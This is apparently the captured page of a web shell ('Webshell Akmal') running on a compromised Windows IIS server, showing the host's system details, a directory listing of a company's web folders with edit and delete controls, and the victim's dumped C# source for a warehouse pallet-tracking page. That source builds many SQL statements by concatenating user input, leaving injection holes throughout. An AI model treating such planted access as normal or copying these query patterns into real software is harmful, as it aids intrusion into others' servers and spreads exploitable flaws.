Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Data; using System.Configuration; using wzLib; namespace App.prog { public partial class tuopan : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { BindCompany(); } } private void BindCompany() { string str = "select storcode,storname from BA_STORDF"; DataTable dt = SQLHelper.getDataTable(str); DropDownList2.DataSource = dt.DefaultView; DropDownList2.DataTextField = "storname"; DropDownList2.DataValueField = "storcode"; DropDownList2.DataBind(); string type = DropDownList2.SelectedValue; string str1 = "select BILLNO,BILLNO+'('+cast(TRANSDATE as varchar(11))+')' as billname from TR_SEATRANSLOG where STORCODE='" + type + "'"; DataTable dt2 = SQLHelper.getDataTable(str1); DropDownList1.DataSource = dt2; DropDownList1.DataTextField = "billname"; DropDownList1.DataValueField = "BILLNO"; DropDownList1.DataBind(); } protected void DropDownList2_SelectedIndexChanged(object sender, EventArgs e) { string type = DropDownList2.SelectedValue; string str1 = "select BILLNO ,BILLNO+'('+cast(TRANSDATE as varchar(11))+')' as billname from TR_SEATRANSLOG where STORCODE='" + type + "' order by PLANENDDT desc"; DataTable dt2 = SQLHelper.getDataTable(str1); DropDownList1.DataSource = dt2; DropDownList1.DataTextField = "billname"; DropDownList1.DataValueField = "BILLNO"; DropDownList1.DataBind(); } protected void Button1_Click(object sender, EventArgs e) { //string company = DropDownList2.SelectedValue.ToString(); string billno = DropDownList1.SelectedValue.ToString(); string str = "select tuopan as 托盘,mingxi as 明细 from TR_TUOPAN where billno='" + billno + "' order by tuopan"; DataTable dt = SQLHelper.getDataTable(str); GridView1.DataSource = dt; GridView1.DataBind(); TextBox1.Text = ""; TextBox2.Text = ""; } protected void Button2_Click(object sender, EventArgs e) { string billno = DropDownList1.SelectedValue.ToString(); string tuopan = TextBox1.Text.ToString(); string mingxi = TextBox2.Text.ToString(); Label1.Text = ""; Label2.Text = ""; Label3.Text = ""; // string mingxi1 = ""; if (billno.Length > 0 && tuopan.Length == 3) { string str = "select * from tr_tuopan where billno='" + billno + "' and tuopan='" + tuopan + "'"; Dictionary<string, string> dc = SQLHelper.getOneRow(str); if (dc.Count > 0) { // mingxi1 = dc["mingxi"]; if (mingxi.Length > 0) { string str2 = "update tr_tuopan set mingxi='" + mingxi + "',editdate='" + DateTime.Now + "' where billno='" + billno + "' and tuopan='" + tuopan + "'"; SQLHelper.ExecuteNonQuery(str2); } else { string strdel = "delete tr_tuopan where billno='" + billno + "' and tuopan='" + tuopan + "'"; SQLHelper.ExecuteNonQuery(strdel); } } else { string str2 = "insert into tr_tuopan values('" + billno + "','" + tuopan + "','" + mingxi + "','" + DateTime.Now + "')"; SQLHelper.ExecuteNonQuery(str2); } string mingxi2 = mingxi; string mingxi3 = mingxi2.Replace(',', '.'); string back = Chongfu(mingxi3); string label = Check(mingxi3); if (label.Length > 2) { Label3.Text = "当前托盘有错误录入,为:" + back; } if (back.Length > 1) { Label1.Text = "当前托盘有重复,重复值为:" + back; } string str1 = "select * from tr_tuopan where billno='" + billno + "' and tuopan !='" + tuopan + "' "; string cuowu = ""; string wrong = ""; DataTable dt = SQLHelper.getDataTable(str1); string[] temp = mingxi3.Split('.'); for (int i = 0; i < dt.Rows.Count; i++) { for (int j = 0; j < temp.Length; j++) { string[] newdata = dt.Rows[i]["mingxi"].ToString().Split('.'); for (int tt = 0; tt < newdata.Length; tt++) { if (newdata[tt].Trim() == temp[j].Trim()) { cuowu = cuowu + "托盘 " + dt.Rows[i]["tuopan"].ToString() + " 中已存在编号 " + temp[j] + "</br>"; } } } } string[,] prodetail = new string[100000, 4]; prodetail = GetAll(); for (int j = 0; j < temp.Length; j++) { int che = 0; for (int i = 0; i < 100000; i++) { if (temp[j].Trim().Length > 0) { if (prodetail[i, 1] == temp[j].Trim()) { che = 1; } } else { che = 1; } } if (che == 0) { wrong = wrong + "本次装箱单中没有编号 " + temp[j] + "</br>"; } } Label4.Text = wrong; if (cuowu.Length > 4) { Label2.Text = cuowu; } string str3 = "select tuopan as 托盘,mingxi as 明细 from TR_TUOPAN where billno='" + billno + "'"; DataTable dt3 = SQLHelper.getDataTable(str3); GridView1.Attributes.Add("style", "word-break:break-all;word-wrap:break-word"); GridView1.DataSource = dt3; GridView1.DataBind(); } } private string Check(string mingxi3) { string[] temp = mingxi3.Split('.'); string back = ""; for (int i = 0; i < temp.Length; i++) { if (temp[i].Trim().Length > 5 || temp[i].Trim().Length < 4 || Isnumeric(temp[i].Trim()) == false) { back = back + temp[i] + "."; } } return back; } public string Chongfu(string mingxi) { string[] temp = mingxi.Split('.'); string back = ""; for (int i = 0; i < temp.Length; i++) { for (int j = i + 1; j < temp.Length; j++) { if (temp[i].Trim() == temp[j].Trim() && temp[i].Length > 2) { back = back + temp[i] + "."; } } } return back; } protected void TextBox1_TextChanged(object sender, EventArgs e) { string billno = DropDownList1.SelectedValue.ToString(); string tuopan = TextBox1.Text.ToString(); string str1 = "select * from tr_tuopan where billno='" + billno + "' and tuopan ='" + tuopan + "' "; string str = "select * from tr_tuopan where billno='" + billno + "' and tuopan='" + tuopan + "'"; Dictionary<string, string> dc = SQLHelper.getOneRow(str); if (dc.Count > 0) { TextBox2.Text = dc["mingxi"]; } else { TextBox2.Text = ""; } } protected string[,] GetAll() { string[,] prodetail = new string[100000, 4]; int p_i = 0; string billno = DropDownList1.SelectedValue; string str = "select prdcode10,(select prdname from bu_prdprd where prdcode=a.prdcode10) as prdname,boxno from TR_SEATRANSLIST a where billno='" + billno + "'"; DataTable dt = SQLHelper.getDataTable(str); for (int i = 0; i < dt.Rows.Count; i++) { string boxno = dt.Rows[i]["boxno"].ToString(); if (boxno.IndexOf(",") != -1) { string[] box1 = boxno.Split(','); for (int j = 0; j < box1.Length; j++) { if (Isnumeric(box1[j].Trim())) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = box1[j].Trim(); prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } else if (boxno.IndexOf("-") != -1) { string[] box2 = boxno.Split('-'); if (Isnumeric(box2[0]) && Isnumeric(box2[1])) { int box3 = Convert.ToInt32(box2[0]); int box4 = Convert.ToInt32(box2[1]); for (int k = 0; k < 100; k++) { if (box3 + k <= box4) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = (box3 + k).ToString(); prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } } else { if (Isnumeric(boxno)) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = boxno; prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } return prodetail; } protected void Button3_Click(object sender, EventArgs e) { string[,] prodetail = new string[100000, 4]; int p_i = 0; string[] pro = new string[1000]; int pp_i = 0; string billno = DropDownList1.SelectedValue; string str = "select prdcode10,(select prdname from bu_prdprd where prdcode=a.prdcode10) as prdname,boxno from TR_SEATRANSLIST a where billno='" + billno + "'"; DataTable dt = SQLHelper.getDataTable(str); for (int i = 0; i < dt.Rows.Count; i++) { string boxno = dt.Rows[i]["boxno"].ToString(); if (boxno.IndexOf(",") != -1) { string[] box1 = boxno.Split(','); for (int j = 0; j < box1.Length; j++) { if (Isnumeric(box1[j].Trim())) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = box1[j].Trim(); prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } else if (boxno.IndexOf("-") != -1) { string[] box2 = boxno.Split('-'); if (Isnumeric(box2[0]) && Isnumeric(box2[1])) { int box3 = Convert.ToInt32(box2[0]); int box4 = Convert.ToInt32(box2[1]); for (int k = box3; k <= box4; k++) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = k.ToString(); prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } else { if (Isnumeric(boxno)) { prodetail[p_i, 0] = dt.Rows[i]["prdcode10"].ToString(); prodetail[p_i, 1] = boxno; prodetail[p_i, 2] = dt.Rows[i]["prdname"].ToString(); p_i++; } } } string str1 = "select mingxi from tr_tuopan where billno='" + billno + "'"; DataTable dt2 = SQLHelper.getDataTable(str1); for (int j = 0; j < dt2.Rows.Count; j++) { string[] mingxi = dt2.Rows[j][0].ToString().Split('.'); for (int k = 0; k < mingxi.Length; k++) { pro[pp_i] = mingxi[k]; pp_i++; } } for (int i = 0; i < pp_i; i++) { for (int j = 0; j < p_i; j++) { if (pro[i].Trim() == prodetail[j, 1].Trim()) { prodetail[j, 0] = ""; } } } DataTable data = new DataTable(); data.Columns.Add("货品编码"); data.Columns.Add("货品名称"); data.Columns.Add("箱号"); for (int i = 0; i < p_i; i++) { if (prodetail[i, 0].Length > 0) { DataRow NewRow = data.NewRow(); NewRow["货品编码"] = prodetail[i, 0]; NewRow["货品名称"] = prodetail[i, 2]; NewRow["箱号"] = prodetail[i, 1]; data.Rows.Add(NewRow); } } GridView2.DataSource = data; GridView2.DataBind(); } public bool Isnumeric(string number) { int result = -1; //result 定义为out 用来输出值 try { //当数字字符串的为是少于4时,以下三种都可以转换,任选一种 //如果位数超过4的话,请选用Convert.ToInt32() 和int.Parse() //result = int.Parse(message); //result = Convert.ToInt16(message); result = Convert.ToInt32(number); if (number.Length > 5 || number.Length < 4) { return false; } else { return true; } } catch { return false; } } protected void Button4_Click(object sender, EventArgs e) { string pass = Utils.getMD5_16(Utils.GetBIOSSerialNumber() + SQLite.db3Path); string sql_pass = "update pzpublic set kvalue='" + pass + "' where kname='md5' and ktype='pub'"; SQLite.ExecuteNonQuery(sql_pass); } } }